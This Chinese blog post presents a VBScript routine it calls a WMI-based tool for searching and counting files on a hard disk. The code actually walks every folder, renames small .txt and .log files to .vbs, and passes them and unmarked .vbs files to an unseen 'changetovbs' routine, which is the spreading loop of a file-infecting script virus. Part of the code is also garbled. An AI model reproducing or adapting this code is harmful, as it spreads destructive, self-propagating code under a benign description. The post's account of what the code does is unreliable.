VBS调用WMI遍历搜索硬盘文件并计数的方法

多年之前写的一个vbS调用WMI来遍历搜索硬盘文件，并计数的函数，今天整理网盘，看到了，发上来

核心代码：

Function wmisfile(path_sf,justcnt)  'On Error Resume Next  StrComputer = "."  Set ObjWMIService = GetObject("winmgmts:\\" &
     StrComputer &
 "\root\cimv2")  Set FileList = objWMIService.ExecQuery _  ("ASSOCIATORS OF {
    Win32_Directory.Name='" &
     path_sf &
 "'}
     Where " _   &
     "ResultClass = CIM_DataFile")  For each objFile In FileList    fname = LCase(objfile.name)    ename = LCase(objfile.extension)    If 1  objfile.filesize And objfile.filesize = 50000 Then      Select Case ename        Case "txt","LOG"        path_vbs = objfile.drive &
     objfile.path &
     objfile.filename &
     ".vbs"        objfile.rename(objfile.drive &
     objFile.Path &
     objfile.filename &
 ".vbs")        Call changetovbs(path_vbs,path_vbs)        justcnt = justcnt + 1        Case "vbs"        If checkversion(fname) = False Then          Call changetovbs(fname,fname)          justcnt = justcnt + 1        End If      End Select    End If  Next  Set colSubfolders = objWMIService.ExecQuery _  ("Associators of {
    Win32_Directory.Name='" &
     path_sf &
 "'}
     " _   &
     "Where AssocClass = Win32_Subdirectory " _   &
     "ResultRole = Partcomponent")  For Each objFolder In colSubfolders    wmisfile objfolder.name,justcnt  NextEnd Function

您可能感兴趣的文章:

• VBS脚本实现遍历批量替换多目录多文件内容的代码
• 用vbs遍历文件并随机显示的脚本
• VBS遍历文件或文件夹路径输入文件的所有绝对路径（附源码）

声明：本文内容由网友自发贡献，本站不承担相应法律责任。对本内容有异议或投诉，请联系2913721942#qq.com核实处理，我们将尽快回复您，谢谢合作！